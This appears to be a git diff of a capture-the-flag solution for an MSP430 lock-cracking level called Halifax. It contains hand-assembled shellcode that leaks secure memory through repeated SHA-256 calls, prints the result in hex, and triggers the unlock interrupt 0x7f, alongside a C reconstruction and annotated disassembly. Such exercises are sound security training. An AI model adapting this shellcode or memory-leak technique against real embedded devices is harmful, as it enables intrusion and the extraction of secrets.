||||||
|
5f4f 1047 mov.b 0x4710(r15), r15
|
||||||
|
b012 7845 call #0x4578 ; <putchar>
|
||||||
|
5f4e 1047 mov.b 0x4710(r14), r15
|
||||||
|
b012 7845 call #0x4578 ; <putchar>
|
||||||
|
1b53 add 0(r3), r11 ; inc r11
|
||||||
|
3b90 c000 cmp #0x120, r11 ; do that 0x60*3 times
|
||||||
|
e82b jnc $-0x28
|
||||||
|
|
||||||
|
take_input:
|
||||||
|
3e4040003f400090b0126845
|
||||||
|
|
||||||
|
3e40 4000 mov #0x40, r14
|
||||||
|
3f40 0090 mov #0x9000, r15
|
||||||
|
b012 6845 call #0x4568; <getsn>
|
||||||
|
|
||||||
|
check_password_questionmark:
|
||||||
|
0f433d400090b012b645
|
||||||
|
|
||||||
|
0f43 clr r15
|
||||||
|
;3e40 0010 mov #0x1000, r14 ; set length to 0x1000
|
||||||
|
3d40 0090 mov #0x9000, r13 ; set buffer to 0x9000
|
||||||
|
b012 b645 call #0x45b6 ; <sha256_internal>
|
||||||
|
|
||||||
|
unlock7f:
|
||||||
|
324000ffb0121000 0243 3041
|
||||||
|
|
||||||
|
324000ff mov #ff00, sr
|
||||||
|
b0121000 call #0x10
|
||||||
|
0243 mov #0, sr
|
||||||
|
|
||||||
|
30127f00b0125045
|
||||||
|
3012 7f00 push 0x7f
|
||||||
|
b012 5045 call 0x4550
|
||||||
|
|
||||||
|
3041 ret
|
||||||
126
25-Halifax/shellcode.c
Normal file
126
25-Halifax/shellcode.c
Normal file
@ -0,0 +1,126 @@
|
|||||||
|
|
||||||
|
#include "../common/io.c"
|
||||||
|
#include "../common/lib.c"
|
||||||
|
|
||||||
|
typedef u_int8_t u8;
|
||||||
|
typedef u_int16_t u16;
|
||||||
|
|
||||||
|
/*
|
||||||
|
print_hash_inline:
|
||||||
|
; for (i (r11) = 0; i != 0x20; i++)
|
||||||
|
44aa: 0b43 clr r11
|
||||||
|
pha_loop:
|
||||||
|
; byte (r14) = hash[i];
|
||||||
|
44ac: 0f41 mov sp, r15
|
||||||
|
44ae: 0f5b add r11, r15
|
||||||
|
44b0: 6e4f mov.b @r15, r14
|
||||||
|
; lower_nibble (r15) = byte & 0xf;
|
||||||
|
44b2: 0f4e mov r14, r15
|
||||||
|
44b4: 3ff0 0f00 and #0xf, r15
|
||||||
|
; lower_char (r11) = "0123456789ABCDEF"[lower_nibble];
|
||||||
|
44b8: 5a4f 1047 mov.b 0x4710(r15), r10
|
||||||
|
; upper_nibble (r14) = (byte >> 0x4) & 0xf;
|
||||||
|
44bc: 12c3 clrc
|
||||||
|
44be: 4e10 rrc.b r14
|
||||||
|
44c0: 12c3 clrc
|
||||||
|
44c2: 4e10 rrc.b r14
|
||||||
|
44c4: 12c3 clrc
|
||||||
|
44c6: 4e10 rrc.b r14
|
||||||
|
44c8: 12c3 clrc
|
||||||
|
44ca: 4e10 rrc.b r14
|
||||||
|
44cc: 3ef0 0f00 and #0xf, r14
|
||||||
|
; putchar("0123456789ABCDEF"[upper_nibble]);
|
||||||
|
44d0: 5f4e 1047 mov.b 0x4710(r14), r15
|
||||||
|
44d4: b012 7845 call #0x4578 <putchar>
|
||||||
|
; putchar(lower_char)
|
||||||
|
44d8: 4f4a mov.b r10, r15
|
||||||
|
44da: b012 7845 call #0x4578 <putchar>
|
||||||
|
; ... i != 0x20; i++)
|
||||||
|
44de: 1b53 inc r11
|
||||||
|
44e0: 3b90 2000 cmp #0x20, r11
|
||||||
|
44e4: e323 jne #0x44ac <pha_loop>
|
||||||
|
; puts (""); // prints newline
|
||||||
|
44e6: 3f40 2147 mov #0x4721, r15
|
||||||
|
44ea: b012 8645 call #0x4586 <puts>
|
||||||
|
*/
|
||||||
|
|
||||||
|
const char *HEX_LUT = "0123456789ABCDEF";
|
||||||
|
|
||||||
|
void main () {
|
||||||
|
// consts don't need registers
|
||||||
|
const u16 start = 0, length = 0x40;
|
||||||
|
// technically a const as well, but
|
||||||
|
u8 *shabuffer = mem_get(0x8000);
|
||||||
|
|
||||||
|
// assemble the shabuffer
|
||||||
|
|
||||||
|
/*asm
|
||||||
|
clr r11 // loop variable in r11
|
||||||
|
mov #1, r14
|
||||||
|
mov shabuffer [0x8000], r13
|
||||||
|
*/
|
||||||
|
get_sram_hashes:
|
||||||
|
for (u16 addr = start; addr < length; addr++) {
|
||||||
|
// we require at least 5 nibbles to determine the value
|
||||||
|
/*asm
|
||||||
|
loop:
|
||||||
|
0f4b mov r11, r15; mov addr r15
|
||||||
|
b012 b645 call #0x45b6 <sha256_internal>
|
||||||
|
3d50 0300 add #3, r13
|
||||||
|
1b53 add 0(r3), r11; inc r11
|
||||||
|
3b90 0010 cmp #0x1000, r11
|
||||||
|
jnc loop
|
||||||
|
|
||||||
|
*/
|
||||||
|
sha256_internal (addr, 1, shabuffer + addr * 3);
|
||||||
|
}
|
||||||
|
|
||||||
|
print_hex:
|
||||||
|
// print the buffer
|
||||||
|
/*asm
|
||||||
|
0b43 clr r11;
|
||||||
|
*/
|
||||||
|
for (int i = 0; i < length*3; i++) {
|
||||||
|
/*asm
|
||||||
|
1e4b 0080 mov 0x8000(r11), r14
|
||||||
|
*/
|
||||||
|
u8 lower_nibble = shabuffer[i];
|
||||||
|
/*asm
|
||||||
|
5e4b 0080 mov.b 0x8000(r11), r14
|
||||||
|
4f4e mov.b r14, r15
|
||||||
|
0f11 rra.b r15
|
||||||
|
0f11 rra.b r15
|
||||||
|
0f11 rra.b r15
|
||||||
|
0f11 rra.b r15
|
||||||
|
3ef0 0f00 and #0xf, r14
|
||||||
|
3ff0 0f00 and #0xf, r15
|
||||||
|
12c3 clrc
|
||||||
|
*/
|
||||||
|
u8 upper_nibble = (lower_nibble >> 4) & 0xf;
|
||||||
|
lower_nibble &= 0xf;
|
||||||
|
/*asm
|
||||||
|
5f4f 1047 mov.b 0x4710(r15), r15
|
||||||
|
b012 7845 call #0x4578; <putchar>
|
||||||
|
*/
|
||||||
|
putchar(HEX_LUT[upper_nibble]);
|
||||||
|
/*asm
|
||||||
|
5f4e 1047 mov.b 0x4710(r14), r15
|
||||||
|
b012 7845 call #0x4578; <putchar>
|
||||||
|
*/
|
||||||
|
putchar(HEX_LUT[lower_nibble]);
|
||||||
|
/*asm
|
||||||
|
1b53 add 0(r3), r11
|
||||||
|
3b90 c000 cmp #0xC0, r11
|
||||||
|
e82b jnc $-0x28
|
||||||
|
|
||||||
|
*/
|
||||||
|
}
|
||||||
|
|
||||||
|
getsn(mem_get(0x9000), 0x40);
|
||||||
|
sha256_internal(0, 0x40, 0x9000);
|
||||||
|
|
||||||
|
/*asm
|
||||||
|
3041 ret;
|
||||||
|
*/
|
||||||
|
return;
|
||||||
|
}
|
||||||
Loading…
Reference in New Issue
Block a user